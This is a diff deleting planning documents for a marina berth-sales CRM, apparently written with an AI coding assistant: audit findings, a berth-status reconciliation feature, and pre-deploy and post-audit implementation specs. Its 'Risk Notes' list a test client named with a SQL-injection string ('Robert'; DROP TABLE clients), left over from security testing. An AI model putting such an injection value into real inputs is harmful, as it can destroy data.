- **Impact:** User pastes a wrong-port URL → API 404s correctly but UI silently shows the list shell. No explicit "not found" message.
|
||||
- **Files:** every entity-detail client component — render `<EmptyState title="Not found" />` when GET returns 404. Apply to clients, interests, yachts, companies, berths.
|
||||
- **Effort:** M (apply pattern to each detail page).
|
||||
|
||||
### F18. Recommender `limit` param ignored (task #69)
|
||||
|
||||
- **Impact:** Request with `{"limit": 3}` returned 8 berths. Either param name mismatch or no clamp.
|
||||
- **Files:** `src/lib/services/berth-recommender.service.ts` + the recommend-berths validator.
|
||||
- **Effort:** XS.
|
||||
|
||||
---
|
||||
|
||||
## TIER 4 — Polish & UX Reductions (P4)
|
||||
|
||||
The `UX EFFICIENCY` list (task #24). Each is small, mostly copy/flow improvements.
|
||||
|
||||
### F19. New Client form — primary contact default trap
|
||||
|
||||
- Default-checked "Primary contact" with empty email silently rejects on submit. Either don't pre-add OR drop empty contacts on save.
|
||||
|
||||
### F20. New Interest dialog — redirect to detail page on create
|
||||
|
||||
- Currently returns to the list. Add `router.push('/interests/' + newId)` to land on the workflow page immediately.
|
||||
|
||||
### F21. Stage-transition error toast leaks developer language
|
||||
|
||||
- "yachtId is required before leaving stage=enquiry" → "Yacht is required before leaving the Enquiry stage."
|
||||
- Audit ALL ValidationError + ConflictError + service error messages for user-readable copy.
|
||||
|
||||
### F22. Stage menu uses unicode emoji `⚑` as prereq-blocked indicator
|
||||
|
||||
- Per user preference (memory: avoid decorative emoji), replace with a Lucide icon (`Lock`, `AlertCircle`, or `FlagOff`).
|
||||
|
||||
### F23. Blocked-stage UX — show prereq picker inline
|
||||
|
||||
- Clicking a blocked stage currently dismisses with a toast. Better: open the prereq picker inline ("Pick a yacht to leave Enquiry" with combobox right there).
|
||||
|
||||
### F24. New Client form — "Country" optional but prominent
|
||||
|
||||
- Drop from quick-path OR move to a "More details" disclosure.
|
||||
|
||||
### F25. Documents Hub — folder navigation doesn't update URL
|
||||
|
||||
- Drilling into a folder updates "Current location" but doesn't change `location.search`. Can't deep-link, browser-back broken, refresh resets to root.
|
||||
|
||||
### F26. "Reopen" outcome action silent — no toast
|
||||
|
||||
- After clicking Reopen, no feedback. Add `toast.success('Outcome cleared')` or similar.
|
||||
|
||||
### F27. Same-stage write returns full body — should be 204
|
||||
|
||||
- PATCH /stage with same stage = current stage returns 200 + full interest. Should be 204 No Content (no-op).
|
||||
|
||||
### F28. Recommender empty-result UI
|
||||
|
||||
- 300ft yacht returns `data: []` — UI Recommendations tab silently shows blank. Should render "No berths match — try relaxing constraints."
|
||||
|
||||
### F29. Inbox first-load "Loading..." stuck
|
||||
|
||||
- First navigation to /inbox shows "Loading..." indefinitely; subsequent reload renders fine. TanStack Query cache initialization issue.
|
||||
|
||||
### F30. Berths in default queries should filter `archivedAt IS NULL`
|
||||
|
||||
- Companion to F5 — once soft-delete lands, every default list query must filter archived rows.
|
||||
|
||||
---
|
||||
|
||||
## NEW FEATURE — Manual Berth Status Catch-Up Workflow (task #67)
|
||||
|
||||
User-requested. Foundation already exists (column `berths.status_override_mode` is in schema but never written).
|
||||
|
||||
### Phase 1 — Wire the status_override_mode field
|
||||
|
||||
- `updateBerthStatus()` sets `status_override_mode = 'manual'` when called via the user-facing API.
|
||||
- `berth-rules-engine.ts` triggers set `status_override_mode = 'automated'`.
|
||||
- When a backing interest is successfully created and links the berth, clear `status_override_mode` back to null in the same transaction; set `status_last_changed_reason` to "Reconciled via interest [id]".
|
||||
- **Effort:** S.
|
||||
|
||||
### Phase 2 — Visual indicator
|
||||
|
||||
- On berth list rows: small chip "Manual" next to the status badge when `status_override_mode = 'manual'` AND no active interest is linked.
|
||||
- On berth detail page header: badge + tooltip showing last reason, user, when.
|
||||
- On dashboard "Berth Heat" widget: filter or annotate the manual rows.
|
||||
- **Effort:** S.
|
||||
|
||||
### Phase 3 — Reconciliation Queue page
|
||||
|
||||
- New page `/[portSlug]/admin/berths/reconcile`.
|
||||
- Lists every berth where `status_override_mode = 'manual'` and no active interest. Sortable by `status_last_modified DESC`.
|
||||
- Each row links to the catch-up wizard.
|
||||
- Sidebar Admin section gets a link with the queue count badge.
|
||||
- **Effort:** S.
|
||||
|
||||
### Phase 4 — Catch-Up Wizard (the core piece)
|
||||
|
||||
- Multi-step modal. Steps:
|
||||
1. **Pick or create client** — combobox + inline quick-create (name + email only).
|
||||
2. **Pick or create yacht** — optional if pre-EOI; quick-create with name + dimensions.
|
||||
3. **Pick the matching stage** — based on current berth status:
|
||||
- `under_offer` → enquiry / qualified / nurturing / eoi (default eoi)
|
||||
- `sold` → contract + outcome=won
|
||||
- Allow override.
|
||||
4. **Upload existing docs** — EOI PDF, contract PDF, reservation form. Each auto-filed to the right entity folder.
|
||||
5. **Optional payments** — if status=sold, prompt for deposit/full amount.
|
||||
6. **Review + submit.** On submit, transaction:
|
||||
- Create/select client + yacht
|
||||
- Create interest at chosen stage with `assigned_to = current user`
|
||||
- Upsert `interest_berths(is_primary=true, is_specific_interest=true, is_in_eoi_bundle=true)`
|
||||
- Upload + attach files
|
||||
- Insert payments
|
||||
- Set `berth.status_override_mode = null` + `status_last_changed_reason = 'Reconciled via interest [id]'`
|
||||
- Audit log single "reconcile" event linking berth + new interest.
|
||||
- **Effort:** M (wizard) + S (transaction service) + S (API endpoint). Total M-L.
|
||||
|
||||
### Phase 5 — Entry points
|
||||
|
||||
- Berth list row menu → "Catch up..."
|
||||
- Berth detail page next to manual badge → "Catch up"
|
||||
- Dashboard widget "Manual statuses awaiting reconciliation" (count + link)
|
||||
- Sidebar link
|
||||
- **Effort:** S.
|
||||
|
||||
### Total feature effort: M-L (2-3 dev days).
|
||||
|
||||
---
|
||||
|
||||
## What I Tested in Round 2 (15 deep journeys, all passed structural validation)
|
||||
|
||||
| Journey | Result |
|
||||
| -------------------------------------------- | ------------------------------------------------------------------------------------------- |
|
||||
| State machine — stage skipping | ✓ Rejects forward/backward jumps with friendly copy + override path |
|
||||
| Double outcome write | ⚠ Allowed (won→lost flips freely); audit log just says "update" — should tag outcome change |
|
||||
| Cascade — delete with dependents | ✗ Inconsistent: clients soft-archive, **berths HARD-delete**, companies soft-archive |
|
||||
| Manual berth status without backing interest | ✗ Foundation column exists, never written |
|
||||
| Unicode (emoji/RTL/zero-width) | ⚠ Emoji + RTL OK; zero-width chars NOT stripped (search blind spot) |
|
||||
| Storage / file upload magic-byte | ✓ Rejects JPEG/HTML disguised as PDF |
|
||||
| Documenso webhook idempotency | ✓ Timing-safe + rate-limited bad-secret check |
|
||||
| Berth recommender edge cases | ⚠ Empty dims OK; extreme dims return empty; **limit param ignored** |
|
||||
| Email body XSS via markdown | ✓ Escape-first-then-rules, javascript: URLs stripped |
|
||||
| Public berth feed correctness | ✓ Port allow-list, archive filter, status enum validation |
|
||||
| Rate limiting / abuse | ✗ Login: no rate limit; public feed: CDN-cached |
|
||||
| Health check + dependency probes | ✓ Anonymous minimal payload, secret-mode for website-intake |
|
||||
| Direct ID enumeration | ✓ Uniform 404 — no leak |
|
||||
| Cross-port API access | ✓ 404 at API; **silent at UI** |
|
||||
| CSRF — fake Origin | ✓ Prod-only protection — dev intentionally skips |
|
||||
|
||||
---
|
||||
|
||||
## Recommended Commit Sequence
|
||||
|
||||
1. **Squash-commit T0 fixes** (F1 + F2) — these are deploy-blockers already applied. Push to main.
|
||||
2. **T1 batch commit** (F3, F4, F5, F6, F7, F8) — pre-deploy blockers. Single commit per fix for clean review.
|
||||
3. **T2** (F9, F10) — schedule for next sprint (F9 is architectural).
|
||||
4. **T3** (F11-F18) — knock out in a few hours. Quick polish wave.
|
||||
5. **T4** (F19-F30) — UX list. Bundle into a single PR over a few sessions.
|
||||
6. **NEW FEATURE — Catch-Up Workflow** — 2-3 dev days. Higher business value than T2; prioritize after T1.
|
||||
|
||||
---
|
||||
|
||||
## Risk Notes
|
||||
|
||||
- The audit polluted the dev DB with test entities: `Smoke Test Client (renamed)`, `Aurora Marine Holdings Ltd`, `Bad Email Test`, `Phone Test`, `Robert'; DROP TABLE clients`, `François 🏄 المعتمد`, `محمد عبد الله`, `CSRF Test`, etc. Also **hard-deleted berth A1 in port-amador** + soft-archived Test Person 1. Consider `pnpm db:reseed:synthetic` before the next clean run.
|
||||
- The Smoke Test Client interest had `outcome=lost_other` set during the won-then-lost test (R2-B). Audit log preserved both transitions but with action="update" not action="outcome_change".
|
||||
@@ -1,251 +0,0 @@
|
||||
# Post-Audit Implementation Spec — 2026-05-18
|
||||
|
||||
Captures the design decisions from the post-audit conversation so the
|
||||
implementation can start without re-litigating the trade-offs. Each
|
||||
section ends with an Effort estimate.
|
||||
|
||||
---
|
||||
|
||||
## 1. EOI document field overrides
|
||||
|
||||
### Goal
|
||||
|
||||
When generating an EOI, the rep should be able to override pre-filled
|
||||
field values (contact info, addresses, yacht details) while preserving
|
||||
the canonical record. Manual entries persist as tracked secondary
|
||||
values so future EOIs can pick them up from a dropdown.
|
||||
|
||||
### Design
|
||||
|
||||
**Client contact channels (email, phone):**
|
||||
|
||||
- The EOI form's email/phone fields render as a dropdown of every
|
||||
`client_contacts` row for the linked client, defaulting to the primary
|
||||
for each channel.
|
||||
- Rep types a brand-new value → on EOI save, a new `client_contacts`
|
||||
row is created with `is_primary=false`, `source='eoi-custom-input'`,
|
||||
`source_document_id=<doc-id>`. Labelled `[EOI]` on the client detail
|
||||
page contacts panel.
|
||||
- The current EOI uses the new value; future EOIs default to primary
|
||||
unless the rep explicitly picks the new row from the dropdown.
|
||||
- A "Set as default for future documents" toggle on the EOI form
|
||||
promotes the new value to `is_primary=true` (demoting the prior
|
||||
primary).
|
||||
|
||||
**Client addresses:** Same pattern via `client_addresses` (which is
|
||||
already multi-value per CLAUDE.md).
|
||||
|
||||
**Yacht name + dimensions:** Yachts are single-valued; rep needs a
|
||||
different yacht → opens a "Create yacht" modal inline, fills in name +
|
||||
dims for the new yacht record, linked to the same client/interest, tagged
|
||||
`eoi-generated`. The EOI uses the new yacht. The original yacht is
|
||||
unchanged. (No yacht_aliases / yacht_dimension_overrides table.)
|
||||
|
||||
**Interest-specific fields (rare):** Same dropdown pattern via the
|
||||
existing fields on the interest record. Custom entries promote-or-stay
|
||||
following the toggle.
|
||||
|
||||
**Audit trail:** Every override action (create-non-primary, promote-to-
|
||||
primary, create-yacht-from-eoi) emits an audit_log row with action
|
||||
`eoi_field_override` and metadata identifying the source document.
|
||||
|
||||
**Per-document override (no record-side write):** Doc-level overrides
|
||||
remain available as a checkbox — when ticked, the value lives only on
|
||||
the doc and never touches client_contacts. Default is unchecked.
|
||||
|
||||
### Schema additions
|
||||
|
||||
- `client_contacts.source text` — extend the existing enum: `'manual'`,
|
||||
`'imported'`, `'eoi-custom-input'`.
|
||||
- `client_contacts.source_document_id text references documents(id)
|
||||
on delete set null` — surfaces the originating EOI.
|
||||
- `client_addresses.source` + `source_document_id` (mirror).
|
||||
- `yachts.source` + `source_document_id` (mirror; nullable so existing
|
||||
records aren't disturbed).
|
||||
- `audit_actions` enum gains `eoi_field_override` + `promote_to_primary`.
|
||||
|
||||
### UI
|
||||
|
||||
- EOI Generate drawer: each editable field becomes either a `<Combobox>`
|
||||
(when multi-value) or `<Input>` + "Save as new …" hint (yacht).
|
||||
- Below each field: `[ ] Use only for this EOI` checkbox (default off)
|
||||
- `[ ] Set as default for future docs` checkbox (default off).
|
||||
- Client + Yacht detail panels: `[EOI]` badge on non-primary rows;
|
||||
"Set as primary" action on each.
|
||||
|
||||
### Effort
|
||||
|
||||
~1–1.5 weeks. Bundle the schema + EOI form + client/yacht detail UI
|
||||
into one PR (user picked "All at once").
|
||||
|
||||
### Open implementation questions
|
||||
|
||||
- The yacht-creation inline modal needs the existing YachtForm wired in;
|
||||
on save it tags the new yacht with the eoi-generated marker. Tag the
|
||||
yacht via `tags`? Or a dedicated `source` column? Recommend column
|
||||
for queryability.
|
||||
- Should `[EOI]` badges fade out after a TTL or stay forever? Recommend
|
||||
forever — the rep deliberately chose this label.
|
||||
|
||||
---
|
||||
|
||||
## 2. Reminders
|
||||
|
||||
### Goal
|
||||
|
||||
Reps can: per-interest follow-up cadence with note + time, standalone
|
||||
tasks (no entity), assignable-to-another-rep tasks. The existing rich
|
||||
`reminders` table holds the canonical data; the per-interest cadence
|
||||
on the `interests` row stays for backward compat as a quick-tick.
|
||||
|
||||
### Design
|
||||
|
||||
**Per-interest cadence (kept):**
|
||||
|
||||
- `interests.reminderEnabled` + `interests.reminderDays` retained.
|
||||
- New: `interests.reminderNote text NULL` — surfaced in the
|
||||
notification body + the inbox row.
|
||||
- The cadence fires a row into `reminders` on each tick (with
|
||||
`interest_id` set) instead of the current ad-hoc notification flow,
|
||||
unifying the inbox.
|
||||
|
||||
**Standalone tasks (new):**
|
||||
|
||||
- Rich `reminders` table already has every column we need (title, note,
|
||||
priority, due_at, assigned_to, snoozed_until, google_calendar_event_id).
|
||||
- Two UI surfaces (both submit to the same dialog component):
|
||||
- RemindersInbox top-right `[+ New task]` button.
|
||||
- Per-entity detail page (interest, client, berth, yacht): `[+ Task]`
|
||||
button inside the existing Reminders section. Linked-entity field
|
||||
pre-filled and locked.
|
||||
- The dialog: Title (required), Note (optional), Due date+time,
|
||||
Priority, Assign to (default = current rep), Linked entity
|
||||
(optional dropdown for inbox surface; locked for per-entity).
|
||||
|
||||
**Time-of-day:**
|
||||
|
||||
- New user-settings field: `digest_time_of_day time, default '09:00'`.
|
||||
Stored in user_profiles.
|
||||
- Per-reminder override: each reminder's `due_at` carries the exact
|
||||
firing moment (existing column). The dialog defaults the time picker
|
||||
to the user's `digest_time_of_day` but lets them override per row.
|
||||
- Worker scheduler: a 15-min cron tick scans `reminders` for rows whose
|
||||
`due_at <= now() AND fired_at IS NULL`, fires the notification, sets
|
||||
`fired_at`.
|
||||
|
||||
**Assignment:**
|
||||
|
||||
- `reminders.assigned_to` (existing). Dialog has an "Assign to" picker
|
||||
(port users via /api/v1/admin/users/picker), defaults to current user.
|
||||
- Inbox shows the assignee chip when not me; filter `[Mine | All my port]`.
|
||||
|
||||
### Schema additions
|
||||
|
||||
- `interests.reminder_note text NULL`
|
||||
- `user_profiles.digest_time_of_day time NOT NULL DEFAULT '09:00'`
|
||||
- `reminders.fired_at timestamptz NULL` (new — drives the worker idempotency)
|
||||
- No new tables. The existing `reminders` table covers standalone tasks.
|
||||
|
||||
### UI
|
||||
|
||||
- `<CreateReminderDialog>` component (shared).
|
||||
- RemindersInbox: `[+ New task]` button → dialog (linked entity blank).
|
||||
- Interest / client / berth / yacht detail pages: existing Reminders
|
||||
section gains `[+ Task]` button → dialog (linked entity pre-filled,
|
||||
field disabled).
|
||||
- Settings page: time picker for "default reminder time" → writes
|
||||
`user_profiles.digest_time_of_day`.
|
||||
|
||||
### Effort
|
||||
|
||||
~3–4 days. Schema migration + dialog component + 4 entity-page wires
|
||||
|
||||
- worker scheduler refactor + inbox filter.
|
||||
|
||||
---
|
||||
|
||||
## 3. Supplemental info form — per-port setting
|
||||
|
||||
### Goal
|
||||
|
||||
The "Send supplemental info form" link in the auto-email should resolve
|
||||
to the marketing site when configured; fall back to a CRM-hosted route
|
||||
otherwise. Confirmed: per-port setting.
|
||||
|
||||
### Design
|
||||
|
||||
- New system_settings key: `supplemental_form_url` (per-port, optional,
|
||||
text). Defaults to NULL.
|
||||
- Link generator in the email service:
|
||||
```ts
|
||||
const url = cfg.supplementalFormUrl
|
||||
? `${cfg.supplementalFormUrl}?token=${raw}`
|
||||
: `${env.APP_URL}/supplemental/${raw}`;
|
||||
```
|
||||
- Existing `/supplemental/[token]` CRM route stays as the fallback. Add
|
||||
a "Loading…" skeleton + dual-mode copy ("If you don't see your
|
||||
details, contact your rep").
|
||||
- Admin UI: add the field to `/admin/email/page.tsx` (or a new
|
||||
`/admin/supplemental/page.tsx`) — single text input with the help
|
||||
hint "Leave blank to use the built-in CRM page."
|
||||
|
||||
### Effort
|
||||
|
||||
~2 hours (single setting + 1 admin field + link resolver).
|
||||
|
||||
---
|
||||
|
||||
## 4. Documenso phases 2 → 7 → 5 (you picked Phase 7 first)
|
||||
|
||||
### Phase 7 — Project Director RBAC (~1h)
|
||||
|
||||
- Add "Linked to CRM user" dropdown in `/admin/documenso/page.tsx`
|
||||
pointing at the existing `developer_user_id` + `approver_user_id`
|
||||
settings.
|
||||
- Auto-fill name/email from the selected user (read via
|
||||
/api/v1/admin/users/picker).
|
||||
- Webhook handler in `src/app/api/webhooks/documenso/route.ts`: when an
|
||||
event arrives for the developer or approver, also fire an in-CRM
|
||||
`documenso:signed` notification routed to the linked user's CRM
|
||||
notifications inbox.
|
||||
|
||||
### Phase 2 — Webhook handler enhancement (~3–4h)
|
||||
|
||||
- Cascading "your turn" emails: when signer N completes, fire an
|
||||
invitation email to signer N+1 (sequential signing only).
|
||||
- On-completion PDF distribution: when status flips to COMPLETED,
|
||||
email the signed PDF to all `documents.completion_cc_emails`.
|
||||
- Token-based recipient matching: prefer `signing_token` over email
|
||||
for webhook → signer resolution (handles aliased emails).
|
||||
- Idempotency lock: replace the current body-hash dedup with a
|
||||
composite `(documensoDocumentId, recipientEmail, eventType)` unique
|
||||
constraint on documentEvents.
|
||||
- Schema is already in place from Phase 1 — this is pure handler logic.
|
||||
|
||||
### Phase 5 — Embedded signing URL verification (~1–2h)
|
||||
|
||||
- Confirm the marketing site's `/sign/<type>/<token>` page handles
|
||||
every signer-role × documentType combo.
|
||||
- Update `signerMessages` map in the signing-invitation email template
|
||||
to surface role-specific copy.
|
||||
- Apply nginx CORS block from the integration audit (constrain
|
||||
Documenso webhook origin).
|
||||
|
||||
### Effort total
|
||||
|
||||
~6–7h across the three phases. Phase 4 (field placement UI, 10–14h)
|
||||
stays deferred — covered separately by the PDF template editor work
|
||||
you picked Phases 1+2 for.
|
||||
|
||||
---
|
||||
|
||||
## What I'll build first
|
||||
|
||||
Per your sequencing:
|
||||
|
||||
1. Documenso Phase 7 (~1h) — unblock the linked-user signing UX.
|
||||
2. Supplemental form per-port setting (~2h) — small win.
|
||||
3. Documenso Phase 2 (~3–4h) — meaningful UX improvement.
|
||||
4. Documenso Phase 5 (~1–2h) — security + role copy.
|
||||
5. EOI field overrides + reminders (~1.5 weeks combined) — the big
|
||||
ones, picked up after the Documenso quick wins land.
|
||||
@@ -1,243 +0,0 @@
|
||||
# Pre-deploy plan — locked 2026-05-14
|
||||
|
||||
Source of truth for everything between today and initial VPS deployment.
|
||||
Captures every decision reached in the 2026-05-14 planning session, plus
|
||||
the implementation order, deferred items, and operator checklist.
|
||||
|
||||
If a future agent or session resumes this work, **start here** — do not
|
||||
re-litigate the decisions below without checking the transcript context
|
||||
that produced them.
|
||||
|
||||
---
|
||||
|
||||
## 1. Decisions
|
||||
|
||||
### 1.1 Hot-path correctness (numbers users see)
|
||||
|
||||
| # | Item | Decision | File(s) impacted |
|
||||
| --- | --------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 1 | Pipeline value mixed-currency | Convert each `berths.price` to the port-default currency at display time via `currency.service`, then sum. | `src/lib/services/dashboard.service.ts`, `src/components/dashboard/*` |
|
||||
| 2 | "Active interest" definition | `archivedAt IS NULL AND outcome IS NULL` (strictest). Won deals are CLOSED, not active. Extract single `activeInterestsWhere(portId)` SQL helper; route every site through it. | Sweep target — see § 2.1 for list. |
|
||||
| 3 | Occupancy source of truth | `berth.status = 'sold'`. KPI tile + revenue PDF + analytics timeline all derive from this one source. | `src/lib/services/dashboard.service.ts`, `src/lib/services/analytics.service.ts`, `src/lib/services/report-generators.ts` |
|
||||
| 4 | Revenue PDF shape | Two side-by-side cards on the same page: "Completed revenue (won, gross)" + "Forecast revenue (pipeline-weighted)". Stacks gracefully on portrait. | `src/lib/services/report-generators.ts` |
|
||||
| 4.5 | Multi-berth EOI mooring rendering | Populate the existing Documenso `Berth Number` form field with `eoiBerthRange` for both single- and multi-berth EOIs (single-berth output is identical to today via `formatBerthRange(['A1']) === 'A1'`). Drop the unused `Berth Range` payload key + AcroForm field + merge token. No Documenso admin action needed. | `src/lib/services/documenso-payload.ts`, `src/lib/pdf/fill-eoi-form.ts`, `src/lib/templates/merge-fields.ts`, `CLAUDE.md` |
|
||||
|
||||
### 1.2 Security / deploy gates
|
||||
|
||||
| # | Item | Decision |
|
||||
| --- | --------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 5 | Portal activation + password-reset token URLs | Switch `?token=ABC` → `#token=ABC` (URL fragment). Fragment never hits server logs, proxies, or `Referer` header. Touches email templates + `/portal/activate` + `/portal/reset-password` + the `set-password` page reader. |
|
||||
|
||||
### 1.3 Email infrastructure refactor
|
||||
|
||||
| # | Item | Decision |
|
||||
| --- | ------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 6 | Admin "Signature HTML" field | **Delete** it. Currently writes `email_signature_html` to settings; `shell.ts` only reads `emailFooterHtml`. Footer covers brand sign-off; signatures are semantically per-user (separate future feature if asked). |
|
||||
| 7 | Per-category send-from routing | New admin matrix on `/admin/email`: each email category (account activation, password reset, notification digest, EOI signing request, brochure send, berth-PDF send, signed-doc completion, sales send-out, manual rep compose) gets a sender dropdown (`noreply` / `sales`). Sales option auto-disabled when sales SMTP/IMAP creds aren't set. |
|
||||
| 8 | Bounce monitoring | Per-port admin-configurable IMAP polling of one or more sender mailboxes. Parses DSN bounce notifications via `mailparser`. Writes to new `email_bounces` table, flags the original `document_send` / `notification` / `email_thread` message as bounced, and emits an in-app notification to the assigned sales rep when a _client_ email bounces. |
|
||||
| 9 | Attachment threshold compose UI | On the manual-compose dialog (brochure send, berth-PDF send, rep custom email), show a banner on any attached file above `email_attach_threshold_mb` that says "will be sent as a 24h signed-link download instead of inline attachment". Also audit current default threshold (10MB) against typical SMTP provider caps. |
|
||||
|
||||
### 1.4 Schema additions
|
||||
|
||||
| # | Item | Decision |
|
||||
| --- | ------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 10 | `berths.archived_at` column | Add `archived_at` (timestamp, nullable) + partial index on `(port_id) WHERE archived_at IS NULL`. Filter `/api/public/berths` to exclude archived. Add `<ArchiveBerth>` action in berth detail header (soft-delete with audit log). |
|
||||
| 11 | `clients.metadata.source_inquiry_id` | Add field for inquiry → client linkage so the conversion funnel chart can attribute won deals back to the originating inquiry. |
|
||||
| 12 | `email_bounces` table | Bounce monitoring storage — see #8. Columns: `id`, `port_id`, `mailbox_address`, `bounced_address`, `original_send_type` (enum: `document_send` / `notification` / `email_thread`), `original_send_id`, `dsn_status`, `dsn_action`, `dsn_diagnostic`, `received_at`, `raw_message`. |
|
||||
| 13 | Bulk-berth UX | 2-step wizard for new-port setup. Step 1: pick dock letter + range + tenure (only genuinely-standard defaults). Step 2: editable table with "apply to selected" multi-row actions + Excel-style drag-fill on numeric columns. Step 3 from earlier rounds folded in. |
|
||||
|
||||
### 1.5 UX features
|
||||
|
||||
| # | Item | Decision |
|
||||
| --- | ---------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 14 | "Mark as signed externally" action | On contract / reservation tabs: new action that records the document as signed without uploading a file. Captures optional reason in a warning modal. Advances pipeline + writes audit log. UI shows "⚠ No file on record — signed externally" indicator. Reps can later upload the file if they obtain a copy. |
|
||||
| 15 | Contract paper-upload endpoint | Clone the existing EOI `external-eoi` upload flow into `external-contract` and `external-reservation` endpoints. Mirrors the current EOI ergonomics. |
|
||||
| 16 | Inquiry P-4.5 wire-up | Make `/clients/new?prefill_*&inquiry_id=...` hydrate the create-client form from the searchParams **and** persist `inquiry_id` to `clients.metadata.source_inquiry_id`. Conversion funnel chart depends on this linkage. |
|
||||
| 17 | Quick brochure/PDF download | Add "Download" buttons on client detail header, interest detail header, berth detail header. Each downloads the current brochure (port-default) / berth PDF / signed contract from storage so the rep can attach to their own email or messenger app. |
|
||||
| 18 | Per-user reminder digest schedule | Build the simple version of `scheduler.ts:44` placeholder. User-settings dropdown for digest time + days-of-week. Falls back to port-default when unset. |
|
||||
| 19 | Documents tab N+1 batch fix | Replace the 4-call sequential walk in `listFilesAggregatedByEntity` (direct + company + yacht + client) with a single UNION query keyed by entity-relationship. Target: opening Documents tab on a busy client ≤500ms. |
|
||||
|
||||
### 1.6 Investor dashboard charts (toggleable widgets)
|
||||
|
||||
Priority order. Each chart ships as a separate widget integrated into the existing widget-customization system; disabled by default for reps, enabled by default for admins.
|
||||
|
||||
| # | Widget | Notes |
|
||||
| --- | ------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 20 | Total pipeline value of all berths | Single big number (port-default currency, conversion at display). Weekly-change sparkline below. Re-uses the #1 currency-conversion helper. |
|
||||
| 21 | Berth interest heatmap + ranked-table view | Heatmap shows pier-style grid colored by active-interest count per berth. Paired with a sortable ranked-table view of the same data — table is what exports cleanly to PDF/CSV. Both views toggleable. |
|
||||
| 22 | Pipeline velocity over time | Stacked area chart: count of interests in each pipeline stage, weekly. Investors see whether deals are advancing or stalling. |
|
||||
| 23 | Conversion funnel by lead source | Enquiry → qualified → EOI → contract → won, broken down by `lead_source`. Depends on #16 (inquiry → client linkage) for full attribution. |
|
||||
|
||||
### 1.7 Mechanical sweeps
|
||||
|
||||
| # | Item | Decision |
|
||||
| --- | ------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| 24 | "Deal" → "interest" terminology sweep | Full sweep. Updates: admin description copy (`/admin/qualification-criteria`, `/admin/documenso`), `bulk-archive-wizard.tsx` placeholders, `smart-archive-dialog.tsx`, `client-columns.tsx` comments, and the API route path `/api/v1/berths/[id]/deal-documents` → `/api/v1/berths/[id]/interest-documents`. Route rename includes caller updates + a 301 redirect on the old path for any external integrations. |
|
||||
|
||||
---
|
||||
|
||||
## 2. Implementation order
|
||||
|
||||
Branch: **`main`** (feat/documents-folders has been fast-forwarded into main; new work continues on main directly).
|
||||
|
||||
Test strategy: TDD-where-meaningful (services with behavioral changes — active-interest helper, currency converter, DSN parser). UI and mechanical sweeps covered by full vitest + tsc + lint + playwright smoke at the end.
|
||||
|
||||
### 2.1 Step 1 — Money math sweep (highest leverage)
|
||||
|
||||
Extract `activeInterestsWhere(portId)` helper. Sweep these call sites:
|
||||
|
||||
- `dashboard.service.ts` (already self-consistent, replace inline `isActiveInterest`)
|
||||
- `client-archive-dossier.service.ts:266-267`
|
||||
- `client-restore.service.ts:189-190, 215`
|
||||
- `client-archive.service.ts:214-215`
|
||||
- `reminders.service.ts:424`
|
||||
- `berths.service.ts:173-174` (recommender feasibility check — verify semantics still match)
|
||||
- `interests.service.ts:1161-1162, 196, 361`
|
||||
- `report-generators.ts:63, 85, 121`
|
||||
|
||||
Then:
|
||||
|
||||
- Pipeline value currency conversion (`dashboard.service.ts:35-47`)
|
||||
- Occupancy: switch analytics timeline to `berths.status = 'sold'` (`analytics.service.ts:195`)
|
||||
- Revenue PDF: two-card layout, weighted forecast + won-gross side-by-side (`report-generators.ts:109-150`)
|
||||
|
||||
Estimated effort: ~half day. Single coherent commit set tagged `feat(reporting): canonical active-interest + occupancy + currency-aware pipeline value`.
|
||||
|
||||
### 2.2 Step 2 — Email infrastructure refactor
|
||||
|
||||
- Drop `email_signature_html` setting + admin field (~10 min)
|
||||
- Per-category send-from routing matrix (~3-4h)
|
||||
- Bounce monitoring infrastructure (~6-8h): `email_bounces` table migration, IMAP poller worker, DSN parser, in-app notification on bounce, admin UI for sender configuration
|
||||
- Attachment threshold compose banner + threshold default audit (~1h)
|
||||
|
||||
Estimated effort: ~1 day. Multi-commit.
|
||||
|
||||
### 2.3 Step 3 — Schema additions
|
||||
|
||||
Single migration + service work:
|
||||
|
||||
- `0065_pre_deploy_schema.sql`: `berths.archived_at`, `clients.metadata` (already JSONB — convention update only), `email_bounces` table.
|
||||
- Services + admin UI for archive berth + filter on public feed.
|
||||
|
||||
Estimated effort: ~2h.
|
||||
|
||||
### 2.4 Step 4 — UX features
|
||||
|
||||
- Externally-signed mark (contract + reservation tabs) + audit log + UI indicator
|
||||
- Contract + reservation paper-upload endpoints (clone EOI flow)
|
||||
- Inquiry P-4.5 wire-up (prefill form + persist inquiry_id)
|
||||
- Quick brochure/berth-PDF download buttons (3 surfaces)
|
||||
- Per-user reminder digest schedule
|
||||
- Documents tab N+1 batch query fix
|
||||
|
||||
Estimated effort: ~1 day. Multi-commit.
|
||||
|
||||
### 2.5 Step 5 — Bulk-berth wizard
|
||||
|
||||
Dedicated commit. New `/admin/berths/bulk-add` route + 2-step wizard component + smart-helpers (apply-to-selected, drag-fill). ~half day.
|
||||
|
||||
### 2.6 Step 6 — Investor dashboard charts
|
||||
|
||||
Four toggleable widgets, each its own commit. ~1 day total. Depends on Step 1 (currency converter) and Step 3 (inquiry linkage).
|
||||
|
||||
### 2.7 Step 7 — Terminology sweep
|
||||
|
||||
Mechanical. Run last to minimize merge churn. ~2h.
|
||||
|
||||
### 2.8 Step 8 — Portal token fragment switch
|
||||
|
||||
Dedicated commit. Email template URL builder, page-side fragment readers, Better Auth integration test. ~1h.
|
||||
|
||||
### 2.9 Step 9 — NocoDB inspection complete: simulator DEFERRED
|
||||
|
||||
NocoDB `Interests` carries only the current `Sales Process Level`
|
||||
single-select + a handful of point-in-time event timestamps
|
||||
(`EOI Time Sent`, `Time LOI Sent`, `clientSignTime`,
